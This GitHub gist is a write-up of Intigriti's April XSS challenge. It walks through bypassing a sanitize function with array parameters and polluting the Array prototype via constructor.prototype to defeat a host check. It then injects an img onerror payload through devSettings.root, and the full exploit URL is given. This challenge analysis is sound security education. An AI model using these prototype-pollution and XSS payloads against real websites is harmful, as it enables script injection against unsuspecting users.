Skip to content

Instantly share code, notes, and snippets.

@lfama
Last active January 2, 2025 03:32
Show Gist options
  • Select an option

  • Save lfama/b80c6bef8fac78d2ad7b07eb11c66609 to your computer and use it in GitHub Desktop.

Select an option

Save lfama/b80c6bef8fac78d2ad7b07eb11c66609 to your computer and use it in GitHub Desktop.
Intigriti's April XSS challenge Writeup

Intigriti's April XSS Challenge Writeup

The challenge requires to craft a URL which will trigger an XSS when clicked by the victim (without any additional user interaction).

When we visit the challenge page we get the following form (with a nice and nostalgic Windows XP layout):

win_xp

We immediately see that if we try to fill the form with random HTML tags (let's say <h1>), a GET request is performed and our input is appended to the query string as follow (for clarity, I'm showing the URL decoded version of the actual GET request, which is URL encoded):

https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-name]=<h1>cool</h1>&config[window-content]=<h1>cool</h1>&config[window-statusbar]=true

As we can see below, the window name and the window content fields are reflected in the response page, however there should be a sanitize function which replaces some characters with _ :

stripped

We can confirm it looking at the source code of the main page:

function sanitize(data) {
	if (typeof data !== 'string') return data
    return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}

The sanitize function replaces some dangerous characters (and the script tag) from our input; however we can also see that this "sanitization" is only performed if we pass a string, otherwise the same input data is returned without any modification. So if we pass an array instead of a single value, we should be able to bypass the sanitization.

Let's try it:

https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-name][]=<h1>cool</h1>&config[window-content][]=<h1>cool</h1>&config[window-statusbar]=true

And yes, we are able to bypass the sanitize function, but unfortunately our HTML tag is not rendered:

bypass_sanitize

The reason is that our payload is set as simple text (so it's not rendered as HTML tag by our browser) and we can confirm it by inspecting the properties of the element:

inner_text

At this point it's clear that we need to look somewhere else to solve this challenge.

A closer look at the source code

If we look at the script included within the main page, at the beginning of the main() function we find the following interesting code:

function main() {
	const qs = m.parseQueryString(location.search)
	
	let appConfig = Object.create(null)
	appConfig["version"] = 1337
	appConfig["mode"] = "production"
	appConfig["window-name"] = "Window"
	appConfig["window-content"] = "default content"
	appConfig["window-toolbar"] = ["close"]
	appConfig["window-statusbar"] = false
	appConfig["customMode"] = false
	
	if (qs.config) {
	merge(appConfig, qs.config)
	appConfig["customMode"] = true
}

So basically our query string is being parsed and then a function merge is called (with our input as argument).

When there is some kind of "merging" process between an object and some user input, we should start thinking about prototype pollution. Prototype pollution is a vulnerability that allows an attacker to "pollute" the prototype object with arbitrary values, so that any other object with the same prototype will inherit our "polluted" values (JavaScript is a prototype-based programming language).

If we continue to analyze the source code we see:

if (checkHost()) {
	devSettings["isTestHostOrPort"] = true
	merge(devSettings, qs.settings)
}

...

if (!appConfig["customMode"]) {
	m.mount(devSettings.root, App)
} else {
	m.mount(devSettings.root, {view: function() {
		return m(CustomizedApp, {
			name: appConfig["window-name"],
			content: appConfig["window-content"] ,
			options: appConfig["window-toolbar"],
			status: appConfig["window-statusbar"]
		})
	}})
}

We can see that the devSettings object contains the root property which is the root element of our HTML page that is passed to the mount function together with our inputs. So if we can somehow get control of the devSettings object, we could modify it to achieve XSS (i.e. by injecting our payload to an existing HTML element). We can do it by leveraging the merge function, but the problem is that we need to reach the merge(devSettings, qs.settings) call, which is "protected" by the checkHost() function.

So putting all together, we need to:

  • Bypass the checkHost() function to reach the call to merge(devSettings, qs.settings)
  • Find a way to properly overwrite the devSettings object in order to achieve XSS

checkHost() bypass

We need to bypass the following function:

function checkHost() {
	const temp = location.host.split(':')
	const hostname = temp[0]
	const port = Number(temp[1]) || 443
	return hostname === 'localhost' || port === 8080
}

In our case we are interested to satisfy the condition hostname === 'localhost' || port === 8080 so that the function will return true.

In order to bypass the checkHost() function, we can exploit a prototype pollution vulnerability within the merge function.

function merge(target, source) {
	let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]

	for(let key in source) {
		if (protectedKeys.includes(key)) continue

		if (isPrimitive(target[key])) {
		target[key] = sanitize(source[key])
		} else {
			merge(target[key], source[key])
		}
	}
}

In this function, our source input is "merged" with the target object, so if we can pollute the Array prototype we could "pollute" also the temp array (it will inherit the "polluted" property) which is used to check the condition we are interested to.

It turns out that config[window-toolbar] is an array, so we can use it to pollute the Array prototype.

Since the __proto__ keyword is denied, we need to find a different way to pollute the Array prototype, which can be done by using the following payload:

config[window-toolbar][constructor][prototype][1]=8080

We are using the constructor and prototype properties of the window-toolbar array, to reach the Array prototype and set the value 8080 for the 2nd element (at index 1). In this way, the checkHost() function will now return true because Number(temp[1]) will resolve to the integer 8080 (temp "inherited" the value 8080 at index 1 from its prototype).

Overwrite the devSettings.root object

Now we can control also the devSettings object (merge is called again), which is used when building the page. We need to find a way to inject some JavaScript code wich will be triggered when the user visits the link. I guess this step can be done in several ways, but I found the following payload working fine:

settings[root][ownerDocument][body][children][1][outerHTML][0]=<img src=n onerror alert(document.domain)> (we only need to urlEncode the payload before sending it)

We are basically overwriting the outerHTML property of the 2nd HTLM element (at index 1) of the body element with an invalid <img> tag which will trigger alert(document.domain). We also had to add the [0] at the end of outerHTML element so that we can bypass the sanitize function (which will not replace contents if the input is not a string, in our case it's an array).

So the final payload is the following (the last parameter is not needed :) ):

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML][0]=<img src=n onerror=alert(document.domain)>&config[window-content]=This was fun

final_XSS

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment